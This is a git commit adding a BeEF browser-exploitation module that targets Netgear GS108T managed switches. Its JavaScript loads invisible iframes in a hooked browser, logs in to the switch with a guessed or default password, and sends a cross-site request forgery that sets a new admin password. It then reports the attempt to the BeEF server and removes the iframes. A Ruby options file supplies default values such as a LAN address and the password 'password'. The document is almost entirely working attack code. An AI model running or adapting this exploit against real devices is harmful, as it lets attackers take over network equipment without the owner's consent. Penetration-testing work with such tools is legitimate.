Merge pull request #680 from bmantra/master
module to change password of a netgear GS108t managed switch
This commit is contained in:
47
modules/switch/netgear_gs108t_csrf/command.js
Normal file
47
modules/switch/netgear_gs108t_csrf/command.js
Normal file
@@ -0,0 +1,47 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
var base = '<%= @base %>';
|
||||
var oldpassword = '<%= @oldpassword %>';
|
||||
var newpassword = '<%= @newpassword %>';
|
||||
|
||||
var gs_iframe = beef.dom.createInvisibleIframe();
|
||||
gs_login = function() {
|
||||
var d = new Date;
|
||||
var rtime = (d.getTime() / 500);
|
||||
gs_iframe.setAttribute('src', base+'login.cgi?passwd='+oldpassword+'&rtime='+rtime);
|
||||
}
|
||||
|
||||
var gs108t_iframe = beef.dom.createInvisibleIframe();
|
||||
gs_change_pwd = function() {
|
||||
gs108t_iframe.setAttribute('src', base+'password.cgi?inputBox_oldPassword='+oldpassword+'&inputBox_newPassword='+newpassword+'&inputBox_retypeNewPassword='+newpassword);
|
||||
}
|
||||
|
||||
//login to create the cookie
|
||||
gs_login();
|
||||
|
||||
//wait some miliseconds and attempt to change the password
|
||||
setTimeout("gs_change_pwd()", 500);
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
|
||||
cleanup = function() {
|
||||
document.body.removeChild(gs108t_iframe);
|
||||
document.body.removeChild(gs_iframe);
|
||||
}
|
||||
setTimeout("cleanup()", 15000);
|
||||
});
|
||||
|
||||
25
modules/switch/netgear_gs108t_csrf/config.yaml
Normal file
25
modules/switch/netgear_gs108t_csrf/config.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
Netgear_gs108t_csrf:
|
||||
enable: true
|
||||
category: "Switch"
|
||||
name: "Netgear GS108T CSRF"
|
||||
description: "Attempts to change the password on a Netgear GS108T managed switch."
|
||||
authors: ["Bart Leppens"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
30
modules/switch/netgear_gs108t_csrf/module.rb
Normal file
30
modules/switch/netgear_gs108t_csrf/module.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Netgear_gs108t_csrf < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://192.168.0.239/'},
|
||||
{'name' => 'oldpassword', 'ui_label' => 'Old Password', 'value' => 'password'},
|
||||
{'name' => 'newpassword', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user